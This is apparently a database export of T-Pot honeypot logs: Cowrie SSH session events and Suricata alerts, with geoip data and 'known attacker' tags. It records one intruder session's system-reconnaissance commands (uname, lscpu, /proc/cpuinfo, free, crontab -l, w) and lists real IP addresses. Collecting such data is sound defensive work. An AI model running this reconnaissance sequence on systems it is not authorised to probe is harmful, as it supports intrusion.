Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.42662835121154785, "duplicate": true, "timestamp": "2021-09-20T12:00:34.521845Z", "@timestamp": "2021-09-20T12:00:34.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34433	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:35.000804+03	2021-09-20 15:15:01.886146+03	{"_id": "pgYUA3wBvYTbRNuEUVVx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:34.002278+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 254538949200102, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 49414, "timestamp": "2021-09-20T12:00:35.000804Z", "@timestamp": "2021-09-20T12:00:35.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34434	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 15:00:35.633343+03	2021-09-20 15:15:01.887146+03	{"_id": "qAYUA3wBvYTbRNuEVFU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c43d6b62f87c", "@version": "1", "duration": 3.385453939437866, "timestamp": "2021-09-20T12:00:35.633343Z", "@timestamp": "2021-09-20T12:00:35.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34435	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:36.367751+03	2021-09-20 15:15:01.888145+03	{"_id": "rQYUA3wBvYTbRNuEWFUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:36.367751Z", "@timestamp": "2021-09-20T12:00:36.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34436	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:37.129398+03	2021-09-20 15:15:01.889145+03	{"_id": "rgYUA3wBvYTbRNuEWFUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:37.129398Z", "@timestamp": "2021-09-20T12:00:37.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34437	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:37.129943+03	2021-09-20 15:15:01.890144+03	{"_id": "rwYUA3wBvYTbRNuEWFUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:37.129943Z", "@timestamp": "2021-09-20T12:00:37.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34438	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:37.92161+03	2021-09-20 15:15:01.892144+03	{"_id": "sgYUA3wBvYTbRNuEXFUK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:37.921610Z", "@timestamp": "2021-09-20T12:00:37.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34439	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:37.922151+03	2021-09-20 15:15:01.893144+03	{"_id": "swYUA3wBvYTbRNuEXFUK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:37.922151Z", "@timestamp": "2021-09-20T12:00:37.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34440	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:38.352683+03	2021-09-20 15:15:01.895145+03	{"_id": "tQYUA3wBvYTbRNuEX1Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "150.109.115.128", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.431154727935791, "duplicate": true, "timestamp": "2021-09-20T12:00:38.352683Z", "@timestamp": "2021-09-20T12:00:38.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
45278	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:43:46.533869+03	2021-09-20 16:45:02.741591+03	{"_id": "kwZyA3wBvYTbRNuEyqyq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:46.533869Z", "@timestamp": "2021-09-20T13:43:46.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34441	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:39.117482+03	2021-09-20 15:15:01.896147+03	{"_id": "uAYUA3wBvYTbRNuEX1Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "150.109.115.128", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.43366503715515137, "duplicate": true, "timestamp": "2021-09-20T12:00:39.117482Z", "@timestamp": "2021-09-20T12:00:39.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34442	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:38.6839+03	2021-09-20 15:15:01.897177+03	{"_id": "tgYUA3wBvYTbRNuEX1Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:38.683900Z", "@timestamp": "2021-09-20T12:00:38.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34443	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:39.481235+03	2021-09-20 15:15:01.899146+03	{"_id": "uQYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:39.481235Z", "@timestamp": "2021-09-20T12:00:39.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34444	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:40.266296+03	2021-09-20 15:15:01.900175+03	{"_id": "vgYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:40.266296Z", "@timestamp": "2021-09-20T12:00:40.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34445	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:39.480196+03	2021-09-20 15:15:01.901175+03	{"_id": "uwYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:39.480196Z", "@timestamp": "2021-09-20T12:00:39.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34446	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:39.480738+03	2021-09-20 15:15:01.902174+03	{"_id": "vQYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:39.480738Z", "@timestamp": "2021-09-20T12:00:39.480Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34447	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:41.024704+03	2021-09-20 15:15:01.903144+03	{"_id": "wAYUA3wBvYTbRNuEZ1XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:41.024704Z", "@timestamp": "2021-09-20T12:00:41.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34448	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:42.213001+03	2021-09-20 15:15:01.904174+03	{"_id": "wwYUA3wBvYTbRNuEa1Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "150.109.115.128", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4330880641937256, "duplicate": true, "timestamp": "2021-09-20T12:00:42.213001Z", "@timestamp": "2021-09-20T12:00:42.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34449	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:37.555734+03	2021-09-20 15:15:01.906146+03	{"_id": "sQYUA3wBvYTbRNuEXFUK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "150.109.115.128", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4264204502105713, "duplicate": true, "timestamp": "2021-09-20T12:00:37.555734Z", "@timestamp": "2021-09-20T12:00:37.555Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34450	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:38.684451+03	2021-09-20 15:15:01.907148+03	{"_id": "twYUA3wBvYTbRNuEX1Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:38.684451Z", "@timestamp": "2021-09-20T12:00:38.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
34451	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:40.265753+03	2021-09-20 15:15:01.909145+03	{"_id": "ugYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:40.265753Z", "@timestamp": "2021-09-20T12:00:40.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34452	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:39.90399+03	2021-09-20 15:15:01.910146+03	{"_id": "vAYUA3wBvYTbRNuEY1Xc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "150.109.115.128", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4238746166229248, "duplicate": true, "timestamp": "2021-09-20T12:00:39.903990Z", "@timestamp": "2021-09-20T12:00:39.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34453	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:41.024153+03	2021-09-20 15:15:01.912145+03	{"_id": "vwYUA3wBvYTbRNuEZ1XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:41.024153Z", "@timestamp": "2021-09-20T12:00:41.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	HK
34454	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:41.454723+03	2021-09-20 15:15:01.913145+03	{"_id": "xgYUA3wBvYTbRNuEa1Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "150.109.115.128", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "f9096abafc92", "@version": "1", "duration": 0.4306619167327881, "duplicate": true, "timestamp": "2021-09-20T12:00:41.454723Z", "@timestamp": "2021-09-20T12:00:41.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	HK
34455	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:00:41.780559+03	2021-09-20 15:15:01.914144+03	{"_id": "xQYUA3wBvYTbRNuEa1Wt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "f9096abafc92", "@version": "1", "timestamp": "2021-09-20T12:00:41.780559Z", "@timestamp": "2021-09-20T12:00:41.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	HK
